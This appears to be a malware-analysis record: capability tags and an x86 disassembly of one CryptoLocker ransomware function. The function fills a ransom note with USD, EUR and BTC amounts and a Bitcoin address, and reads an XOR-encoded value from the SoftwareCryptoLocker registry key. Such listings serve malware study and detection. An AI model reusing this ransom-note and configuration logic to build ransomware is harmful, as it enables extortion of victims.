Function at 0x40a760
Capabilities:
Encode data using xor
Extract resource via kernel32 functions
Hide graphical window
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x224
push ebx
mov ebx, dword [sym.imp.USER32.dll_SendMessageW]
push esi
mov esi, dword [ebp + 8]
push edi
mov eax, dword [esi + 4]
mov edi, ecx
test eax, eax
jne 0x40a843
mov eax, dword [edi + 0x20]
push dword [ebp + 0x10]
mov eax, dword [eax + 4]
mov eax, dword [eax + edi + 0x24]
and byte [esi + 8], 0xfe
push eax
call dword [sym.imp.USER32.dll_GetDlgItem]
mov ecx, eax
mov dword [esp + 0xc], ecx
mov dword [esi + 4], ecx
test ecx, ecx
je 0x40abd6
movzx edx, word [edi + 0x4c]
xor ecx, ecx
mov dword [esp + 0x1c], 0
test edx, edx
jle 0x40a7ef
mov ebx, dword [edi + 0x48]
xor eax, eax
imul eax, eax, 0x2c
movzx eax, word [eax + ebx]
cmp eax, dword [ebp + 0x10]
je 0x40a7db
inc ecx
movzx eax, cx
cmp eax, edx
jl 0x40a7c5
jmp 0x40a7e9
movzx eax, cx
imul eax, eax, 0x2c
mov eax, dword [eax + ebx + 0x20]
mov dword [esp + 0x1c], eax
mov ebx, dword [sym.imp.USER32.dll_SendMessageW]
push 0
push dword [esp + 0x10]
call dword [sym.imp.USER32.dll_ShowWindow]
push esi
push esi
push 0x4067f0
push dword [esi + 4]
mov dword [esi + 0xc], 0x128
call dword [sym.imp.COMCTL32.dll_SetWindowSubclass]
push dword [esp + 0x1c]
push 0
push 0x443
push dword [esi + 4]
call ebx
push 0x4030000
push 0
push 0x445
push dword [esi + 4]
call ebx
push 1
push 2
push 0x44d
push dword [esi + 4]
call ebx
jmp 0x40a84c
push 0
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
mov eax, dword [0x4164a4]
mov ebx, dword [0x4160e0]
movzx eax, word [eax]
push eax
movzx eax, word [ebp + 0xc]
push eax
push 0xa
push dword [ebx + 0x34]
xorps xmm0, xmm0
mov dword [esp + 0x30], ebx
movq qword [esp + 0x20], xmm0
call dword [sym.imp.KERNEL32.dll_FindResourceExW]
mov dword [esp + 0xc], eax
test eax, eax
je 0x40abd6
push eax
push dword [ebx + 0x34]
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ebx, eax
test ebx, ebx
je 0x40abd6
push dword [esp + 0xc]
mov eax, dword [esp + 0x24]
push dword [eax + 0x34]
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x40abd6
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
test eax, eax
je 0x40abd6
mov edx, ebx
mov ecx, eax
mov dword [esp + 0x14], ebx
call fcn.0040c8f0
mov dword [esp + 0x10], eax
test eax, eax
je 0x40abd6
sub esp, 8
lea edx, [esp + 0x1c]
push 3
push 0x41261c
push 0xc
push str._AMOUNT_USD_
lea ecx, [esp + 0x28]
call fcn.0040ca00
add esp, 0x10
lea edx, [esp + 0x1c]
push 3
push 0x41261c
push 0xc
push str._AMOUNT_EUR_
lea ecx, [esp + 0x28]
call fcn.0040ca00
add esp, 0x10
lea edx, [esp + 0x1c]
push 1
push 0x412640
push 0xc
push str._AMOUNT_BTC_
lea ecx, [esp + 0x28]
call fcn.0040ca00
mov eax, dword [0x4160e0]
add esp, 0x18
mov dword [esp + 0x24], eax
push 0xffffffffffffffff
push dword [eax + 0x38]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x40a959
cmp eax, 0x80
jne 0x40aaa4
mov bl, byte [esp + 0x14]
lea eax, [esp + 0x34]
push eax
push 0x101
push 0
push str.SoftwareCryptoLocker
push 0x80000001
xor bh, bh
mov dword [esp + 0x20], 0x16c
mov dword [esp + 0x34], 0
and bl, 0xfe
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov ecx, eax
test ecx, ecx
jne 0x40aa2e
mov eax, dword [esp + 0x34]
lea ecx, [esp + 0xc]
push ecx
lea ecx, [esp + 0xc4]
push ecx
lea ecx, [esp + 0x28]
push ecx
push 0
push str.VersionInfo
push eax
mov dword [esp + 0x34], eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov ecx, eax
mov eax, dword [esp + 0x1c]
mov dword [esp + 0x30], ecx
test eax, eax
je 0x40a9e9
test bl, 1
je 0x40a9de
push eax
call dword [sym.imp.ADVAPI32.dll_RegFlushKey]
mov eax, dword [esp + 0x1c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [esp + 0x30]
test ecx, ecx
jne 0x40aa2e
cmp dword [esp + 0x20], 3
jne 0x40aa2e
cmp dword [esp + 0xc], 0x16c
jne 0x40aa2e
xor eax, eax
xor dword [esp + eax + 0xc0], 0x819c33ae
add eax, 4
cmp eax, 0x16c
jb 0x40aa00
cmp dword [esp + 0xc0], 0x16c
jne 0x40aa2e
xor eax, eax
mov word [esp + 0x228], ax
mov bh, 1
mov eax, dword [esp + 0x24]
push dword [eax + 0x38]
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
test bh, bh
jne 0x40aaa4
push 0x16c
lea eax, [esp + 0xc4]
push 0
push eax
call sub.msvcrt.dll_memset
add esp, 0xc
lea eax, [esp + 0x38]
push eax
mov dword [esp + 0xc4], 0x16c
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
lea eax, [esp + 0x24]
push eax
lea eax, [esp + 0x3c]
push eax
call dword [sym.imp.KERNEL32.dll_SystemTimeToFileTime]
mov ecx, dword [esp + 0x24]
mov eax, dword [esp + 0x28]
push 0
add ecx, 0x2ac18000
push 0x989680
adc eax, 0xfe624e21
push eax
push ecx
call fcn.00410a10
mov dword [esp + 0xc4], eax
lea eax, [esp + 0x24]
push eax
mov edx, 0x7fffffff
lea ecx, [esp + 0x103]
call fcn.0040c250
mov ecx, dword [esp + 0x24]
or edx, 0xffffffff
test eax, eax
cmovne ecx, edx
sub esp, 8
lea eax, [esp + 0x107]
push ecx
push eax
push 0x11
push str._BITCOIN_ADDRESS_
lea edx, [esp + 0x2c]
lea ecx, [esp + 0x28]
call fcn.0040ca00
mov eax, dword [esp + 0x2c]
mov ebx, dword [esp + 0x28]
mov dword [esp + 0x40], eax
add esp, 0x18
lea eax, [esp + 0x24]
mov dword [esp + 0x10], eax
lea eax, [esp + 0x10]
push eax
push 2
push 0x449
push dword [esi + 4]
xorps xmm0, xmm0
movq qword [esp + 0x24], xmm0
mov dword [esp + 0x34], ebx
mov dword [esp + 0x3c], 0
mov dword [esp + 0x28], 0x406b90
call dword [sym.imp.USER32.dll_SendMessageW]
test ebx, ebx
je 0x40ab42
push ebx
push 0
push dword [0x41623c]
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, dword [edi + 0x20]
mov eax, dword [eax + 4]
push dword [eax + edi + 0x24]
call dword [sym.imp.USER32.dll_GetDC]
mov ebx, eax
test ebx, ebx
je 0x40abc0
push 0x5a
push ebx
call dword [sym.imp.GDI32.dll_GetDeviceCaps]
mov ecx, dword [edi + 0x20]
push ebx
mov ecx, dword [ecx + 4]
mov dword [esp + 0x28], eax
push dword [ecx + edi + 0x24]
call dword [sym.imp.USER32.dll_ReleaseDC]
mov edi, dword [esp + 0x24]
test edi, edi
jle 0x40abc0
push 0x74
lea eax, [esp + 0x4c]
push 0
push eax
call sub.msvcrt.dll_memset
mov eax, 0x4380
cdq
idiv edi
add esp, 0xc
mov dword [esp + 0x48], 0x74
mov dword [esp + 0x4c], 0x80000000
mov dword [esp + 0x54], eax
lea eax, [esp + 0x48]
push eax
push 4
push 0x444
push dword [esi + 4]
call dword [sym.imp.USER32.dll_SendMessageW]
push 5
push dword [esi + 4]
call dword [sym.imp.USER32.dll_ShowWindow]
mov al, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
pop edi
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret 0xc